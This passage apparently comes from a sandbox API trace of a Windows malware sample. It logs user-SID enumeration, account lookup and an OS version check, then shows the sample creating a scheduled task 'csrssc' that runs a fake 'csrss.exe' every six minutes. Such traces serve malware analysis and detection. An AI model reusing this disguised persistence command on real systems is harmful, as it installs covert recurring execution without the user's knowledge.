ReturnLength=0xebcd80) returned 1 [0057.005] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0057.005] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0057.005] malloc (_Size=0x1c) returned 0xeff60 [0057.005] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0057.005] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0057.005] malloc (_Size=0x18) returned 0xeefa0 [0057.005] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0057.005] malloc (_Size=0x18) returned 0xeef00 [0057.005] malloc (_Size=0x18) returned 0xeef20 [0057.005] SysStringLen (param_1="S-1-") returned 0x4 [0057.005] SysStringLen (param_1="5") returned 0x1 [0057.006] memcpy (in: _Dst=0x35ec98, _Src=0x3470c8, _Size=0xa | out: _Dst=0x35ec98) returned 0x35ec98 [0057.006] memcpy (in: _Dst=0x35eca0, _Src=0x346eb8, _Size=0x4 | out: _Dst=0x35eca0) returned 0x35eca0 [0057.006] free (_Block=0xeefa0) [0057.006] free (_Block=0xeef00) [0057.006] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0057.006] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0057.006] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0057.006] malloc (_Size=0x18) returned 0xeef00 [0057.006] malloc (_Size=0x18) returned 0xeefa0 [0057.006] SysStringLen (param_1="S-1-5") returned 0x5 [0057.006] SysStringLen (param_1="-") returned 0x1 [0057.006] memcpy (in: _Dst=0x346eb8, _Src=0x35ec98, _Size=0xc | out: _Dst=0x346eb8) returned 0x346eb8 [0057.006] memcpy (in: _Dst=0x346ec2, _Src=0x3470c8, _Size=0x4 | out: _Dst=0x346ec2) returned 0x346ec2 [0057.006] free (_Block=0xeef20) [0057.006] free (_Block=0xeef00) [0057.006] malloc (_Size=0x18) returned 0xeef00 [0057.006] malloc (_Size=0x18) returned 0xeef20 [0057.006] SysStringLen (param_1="S-1-5-") returned 0x6 [0057.006] SysStringLen (param_1="21") returned 0x2 [0057.006] memcpy (in: _Dst=0x3470c8, _Src=0x346eb8, _Size=0xe | out: _Dst=0x3470c8) returned 0x3470c8 [0057.006] memcpy (in: _Dst=0x3470d4, _Src=0x35ec98, _Size=0x6 | out: _Dst=0x3470d4) returned 0x3470d4 [0057.006] free (_Block=0xeefa0) [0057.006] free (_Block=0xeef00) [0057.007] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0057.007] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0057.007] malloc (_Size=0x18) returned 0xeef00 [0057.007] malloc (_Size=0x18) returned 0xeefa0 [0057.007] SysStringLen (param_1="S-1-5-21") returned 0x8 [0057.007] SysStringLen (param_1="-") returned 0x1 [0057.007] memcpy (in: _Dst=0x35ec98, _Src=0x3470c8, _Size=0x12 | out: _Dst=0x35ec98) returned 0x35ec98 [0057.007] memcpy (in: _Dst=0x35eca8, _Src=0x346eb8, _Size=0x4 | out: _Dst=0x35eca8) returned 0x35eca8 [0057.007] free (_Block=0xeef20) [0057.007] free (_Block=0xeef00) [0057.007] malloc (_Size=0x18) returned 0xeef00 [0057.007] malloc (_Size=0x18) returned 0xeef20 [0057.007] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0057.007] SysStringLen (param_1="4219442223") returned 0xa [0057.007] memcpy (in: _Dst=0x337aa8, _Src=0x35ec98, _Size=0x14 | out: _Dst=0x337aa8) returned 0x337aa8 [0057.007] memcpy (in: _Dst=0x337aba, _Src=0x3470c8, _Size=0x16 | out: _Dst=0x337aba) returned 0x337aba [0057.007] free (_Block=0xeefa0) [0057.007] free (_Block=0xeef00) [0057.007] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0057.007] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0057.007] malloc (_Size=0x18) returned 0xeef00 [0057.007] malloc (_Size=0x18) returned 0xeefa0 [0057.007] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0057.007] SysStringLen (param_1="-") returned 0x1 [0057.007] memcpy (in: _Dst=0x337af8, _Src=0x337aa8, _Size=0x28 | out: _Dst=0x337af8) returned 0x337af8 [0057.008] memcpy (in: _Dst=0x337b1e, _Src=0x35ec98, _Size=0x4 | out: _Dst=0x337b1e) returned 0x337b1e [0057.008] free (_Block=0xeef20) [0057.008] free (_Block=0xeef00) [0057.008] malloc (_Size=0x18) returned 0xeef00 [0057.008] malloc (_Size=0x18) returned 0xeef20 [0057.008] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0057.008] SysStringLen (param_1="4223814209") returned 0xa [0057.008] memcpy (in: _Dst=0x327568, _Src=0x337af8, _Size=0x2a | out: _Dst=0x327568) returned 0x327568 [0057.008] memcpy (in: _Dst=0x327590, _Src=0x35ec98, _Size=0x16 | out: _Dst=0x327590) returned 0x327590 [0057.008] free (_Block=0xeefa0) [0057.008] free (_Block=0xeef00) [0057.008] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0057.008] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0057.008] malloc (_Size=0x18) returned 0xeef00 [0057.008] malloc (_Size=0x18) returned 0xeefa0 [0057.008] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0057.008] SysStringLen (param_1="-") returned 0x1 [0057.008] memcpy (in: _Dst=0x327668, _Src=0x327568, _Size=0x3e | out: _Dst=0x327668) returned 0x327668 [0057.008] memcpy (in: _Dst=0x3276a4, _Src=0x35ec98, _Size=0x4 | out: _Dst=0x3276a4) returned 0x3276a4 [0057.008] free (_Block=0xeef20) [0057.008] free (_Block=0xeef00) [0057.008] malloc (_Size=0x18) returned 0xeef00 [0057.008] malloc (_Size=0x18) returned 0xeef20 [0057.008] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0057.008] SysStringLen (param_1="3835049652") returned 0xa [0057.009] memcpy (in: _Dst=0x327568, _Src=0x327668, _Size=0x40 | out: _Dst=0x327568) returned 0x327568 [0057.009] memcpy (in: _Dst=0x3275a6, _Src=0x35ec98, _Size=0x16 | out: _Dst=0x3275a6) returned 0x3275a6 [0057.009] free (_Block=0xeefa0) [0057.009] free (_Block=0xeef00) [0057.009] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0057.009] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0057.009] malloc (_Size=0x18) returned 0xeef00 [0057.009] malloc (_Size=0x18) returned 0xeefa0 [0057.009] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0057.009] SysStringLen (param_1="-") returned 0x1 [0057.009] memcpy (in: _Dst=0x327668, _Src=0x327568, _Size=0x54 | out: _Dst=0x327668) returned 0x327668 [0057.009] memcpy (in: _Dst=0x3276ba, _Src=0x35ec98, _Size=0x4 | out: _Dst=0x3276ba) returned 0x3276ba [0057.009] free (_Block=0xeef20) [0057.009] free (_Block=0xeef00) [0057.009] malloc (_Size=0x18) returned 0xeef00 [0057.009] malloc (_Size=0x18) returned 0xeef20 [0057.009] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0057.009] SysStringLen (param_1="1000") returned 0x4 [0057.009] memcpy (in: _Dst=0x327568, _Src=0x327668, _Size=0x56 | out: _Dst=0x327568) returned 0x327568 [0057.009] memcpy (in: _Dst=0x3275bc, _Src=0x35ec98, _Size=0xa | out: _Dst=0x3275bc) returned 0x3275bc [0057.009] free (_Block=0xeefa0) [0057.009] free (_Block=0xeef00) [0057.009] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0057.009] malloc (_Size=0x5e) returned 0xf0800 [0057.010] free (_Block=0xeef20) [0057.010] malloc (_Size=0x18) returned 0xeef20 [0057.011] free (_Block=0xf0800) [0057.011] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0057.012] GetLastError () returned 0x7a [0057.012] malloc (_Size=0x14) returned 0xeef00 [0057.012] malloc (_Size=0x16) returned 0xeefa0 [0057.012] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebcca4, ReferencedDomainName=0xeefa0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0057.013] malloc (_Size=0x18) returned 0xef020 [0057.013] malloc (_Size=0x18) returned 0xeeee0 [0057.013] free (_Block=0xeef00) [0057.013] free (_Block=0xeefa0) [0057.013] free (_Block=0xeff60) [0057.013] free (_Block=0xeeee0) [0057.013] free (_Block=0xef020) [0057.013] free (_Block=0xeef20) [0057.014] free (_Block=0xee200) [0057.014] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7fe, dwMinorVersion=0x33e120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0057.014] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0057.014] GetLastError () returned 0x7a [0057.014] malloc (_Size=0x2c) returned 0xee240 [0057.014] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0057.014] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0057.014] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0057.014] malloc (_Size=0x1c) returned 0xeff60 [0057.015] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0057.015] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0057.015] malloc (_Size=0x18) returned 0xeef20 [0057.015] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0057.015] malloc (_Size=0x18) returned 0xef020 [0057.015] malloc (_Size=0x18) returned 0xeeee0 [0057.015] SysStringLen (param_1="S-1-") returned 0x4 [0057.015] SysStringLen (param_1="5") returned 0x1 [0057.015] memcpy (in: _Dst=0x3470c8, _Src=0x346eb8, _Size=0xa | out: _Dst=0x3470c8) returned 0x3470c8 [0057.015] memcpy (in: _Dst=0x3470d0, _Src=0x35ec98, _Size=0x4 | out: _Dst=0x3470d0) returned 0x3470d0 [0057.015] free (_Block=0xeef20) [0057.015] free (_Block=0xef020) [0057.015] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0057.015] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0057.015] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0057.015] malloc (_Size=0x18) returned 0xef020 [0057.015] malloc (_Size=0x18) returned 0xeef20 [0057.015] SysStringLen (param_1="S-1-5") returned 0x5 [0057.015] SysStringLen (param_1="-") returned 0x1 [0057.015] memcpy (in: _Dst=0x35ec98, _Src=0x3470c8, _Size=0xc | out: _Dst=0x35ec98) returned 0x35ec98 [0057.015] memcpy (in: _Dst=0x35eca2, _Src=0x346eb8, _Size=0x4 | out: _Dst=0x35eca2) returned 0x35eca2 [0057.016] free (_Block=0xeeee0) [0057.016] free (_Block=0xef020) [0057.016] malloc (_Size=0x18) returned 0xef020 [0057.016] malloc (_Size=0x18) returned 0xeeee0 [0057.016] SysStringLen (param_1="S-1-5-") returned 0x6 [0057.016] SysStringLen (param_1="21") returned 0x2 [0057.016] memcpy (in: _Dst=0x346eb8, _Src=0x35ec98, _Size=0xe | out: _Dst=0x346eb8) returned 0x346eb8 [0057.016] memcpy (in: _Dst=0x346ec4, _Src=0x3470c8, _Size=0x6 | out: _Dst=0x346ec4) returned 0x346ec4 [0057.016] free (_Block=0xeef20) [0057.016] free (_Block=0xef020) [0057.016] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0057.016] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0057.016] malloc (_Size=0x18) returned 0xef020 [0057.016] malloc (_Size=0x18) returned 0xeef20 [0057.016] SysStringLen (param_1="S-1-5-21") returned 0x8 [0057.016] SysStringLen (param_1="-") returned 0x1 [0057.016] memcpy (in: _Dst=0x3470c8, _Src=0x346eb8, _Size=0x12 | out: _Dst=0x3470c8) returned 0x3470c8 [0057.016] memcpy (in: _Dst=0x3470d8, _Src=0x35ec98, _Size=0x4 | out: _Dst=0x3470d8) returned 0x3470d8 [0057.016] free (_Block=0xeeee0) [0057.016] free (_Block=0xef020) [0057.016] malloc (_Size=0x18) returned 0xef020 [0057.017] malloc (_Size=0x18) returned 0xeeee0 [0057.017] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0057.017] SysStringLen (param_1="4219442223") returned 0xa [0057.017] memcpy (in: _Dst=0x337aa8, _Src=0x3470c8, _Size=0x14 | out: _Dst=0x337aa8) returned 0x337aa8 [0057.017] memcpy (in: _Dst=0x337aba, _Src=0x346eb8, _Size=0x16 | out: _Dst=0x337aba) returned 0x337aba [0057.017] free (_Block=0xeef20) [0057.017] free (_Block=0xef020) [0057.017] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0057.017] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0057.017] malloc (_Size=0x18) returned 0xef020 [0057.017] malloc (_Size=0x18) returned 0xeef20 [0057.017] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0057.017] SysStringLen (param_1="-") returned 0x1 [0057.017] memcpy (in: _Dst=0x337af8, _Src=0x337aa8, _Size=0x28 | out: _Dst=0x337af8) returned 0x337af8 [0057.017] memcpy (in: _Dst=0x337b1e, _Src=0x3470c8, _Size=0x4 | out: _Dst=0x337b1e) returned 0x337b1e [0057.017] free (_Block=0xeeee0) [0057.017] free (_Block=0xef020) [0057.017] malloc (_Size=0x18) returned 0xef020 [0057.017] malloc (_Size=0x18) returned 0xeeee0 [0057.017] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0057.017] SysStringLen (param_1="4223814209") returned 0xa [0057.018] memcpy (in: _Dst=0x327668, _Src=0x337af8, _Size=0x2a | out: _Dst=0x327668) returned 0x327668 [0057.018] memcpy (in: _Dst=0x327690, _Src=0x3470c8, _Size=0x16 | out: _Dst=0x327690) returned 0x327690 [0057.018] free (_Block=0xeef20) [0057.018] free (_Block=0xef020) [0057.018] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0057.018] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0057.018] malloc (_Size=0x18) returned 0xef020 [0057.018] malloc (_Size=0x18) returned 0xeef20 [0057.018] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0057.018] SysStringLen (param_1="-") returned 0x1 [0057.018] memcpy (in: _Dst=0x327568, _Src=0x327668, _Size=0x3e | out: _Dst=0x327568) returned 0x327568 [0057.018] memcpy (in: _Dst=0x3275a4, _Src=0x3470c8, _Size=0x4 | out: _Dst=0x3275a4) returned 0x3275a4 [0057.018] free (_Block=0xeeee0) [0057.018] free (_Block=0xef020) [0057.018] malloc (_Size=0x18) returned 0xef020 [0057.018] malloc (_Size=0x18) returned 0xeeee0 [0057.018] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0057.018] SysStringLen (param_1="3835049652") returned 0xa [0057.018] memcpy (in: _Dst=0x327668, _Src=0x327568, _Size=0x40 | out: _Dst=0x327668) returned 0x327668 [0057.018] memcpy (in: _Dst=0x3276a6, _Src=0x3470c8, _Size=0x16 | out: _Dst=0x3276a6) returned 0x3276a6 [0057.018] free (_Block=0xeef20) [0057.018] free (_Block=0xef020) [0057.018] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0057.018] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0057.019] malloc (_Size=0x18) returned 0xef020 [0057.019] malloc (_Size=0x18) returned 0xeef20 [0057.019] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0057.019] SysStringLen (param_1="-") returned 0x1 [0057.019] memcpy (in: _Dst=0x327568, _Src=0x327668, _Size=0x54 | out: _Dst=0x327568) returned 0x327568 [0057.019] memcpy (in: _Dst=0x3275ba, _Src=0x3470c8, _Size=0x4 | out: _Dst=0x3275ba) returned 0x3275ba [0057.019] free (_Block=0xeeee0) [0057.019] free (_Block=0xef020) [0057.019] malloc (_Size=0x18) returned 0xef020 [0057.019] malloc (_Size=0x18) returned 0xeeee0 [0057.019] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0057.019] SysStringLen (param_1="1000") returned 0x4 [0057.019] memcpy (in: _Dst=0x327668, _Src=0x327568, _Size=0x56 | out: _Dst=0x327668) returned 0x327668 [0057.019] memcpy (in: _Dst=0x3276bc, _Src=0x3470c8, _Size=0xa | out: _Dst=0x3276bc) returned 0x3276bc [0057.019] free (_Block=0xeef20) [0057.019] free (_Block=0xef020) [0057.019] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0057.019] malloc (_Size=0x5e) returned 0xf0800 [0057.019] free (_Block=0xeeee0) [0057.019] malloc (_Size=0x18) returned 0xeeee0 [0057.020] free (_Block=0xf0800) [0057.020] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0057.021] GetLastError () returned 0x7a [0057.021] malloc (_Size=0x14) returned 0xef020 [0057.021] malloc (_Size=0x16) returned 0xeef20 [0057.021] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef020, cchName=0xebccb4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0057.021] malloc (_Size=0x18) returned 0xeefa0 [0057.021] malloc (_Size=0x18) returned 0xeef00 [0057.021] free (_Block=0xef020) [0057.022] free (_Block=0xeef20) [0057.022] free (_Block=0xeff60) [0057.022] free (_Block=0xeef00) [0057.022] free (_Block=0xeefa0) [0057.022] free (_Block=0xeeee0) [0057.023] free (_Block=0xee240) [0057.023] malloc (_Size=0x48) returned 0xed400 [0057.023] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0057.033] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0057.033] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0057.033] malloc (_Size=0x18) returned 0xeeee0 [0057.033] CreateEnvironmentBlock () returned 0x1 [0057.039] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0057.039] malloc (_Size=0x18) returned 0xeefa0 [0057.039] CreateProcessAsUserW (in: hToken=0x2e0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x248, hThread=0x24c, dwProcessId=0xec4, dwThreadId=0xec8)) returned 1 [0057.050] CloseHandle (hObject=0x248) returned 1 [0057.050] CloseHandle (hObject=0x24c) returned 1 [0057.050] free (_Block=0xeefa0) [0057.050] DestroyEnvironmentBlock () returned 0x1 [0057.050] malloc (_Size=0x48) returned 0xed2c0 [0057.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4b262be0, dwHighDateTime=0x1d9eb0c)) [0057.050] malloc (_Size=0x10) returned 0xeefa0 [0057.051] SetEvent (hEvent=0x1f0) returned 1 [0057.051] CloseHandle (hObject=0x2d4) returned 1 [0057.051] CloseHandle (hObject=0x2e0) returned 1 [0057.116] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0057.116] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0057.116] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0057.466] SetLastError (dwErrCode=0x0) [0057.466] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, 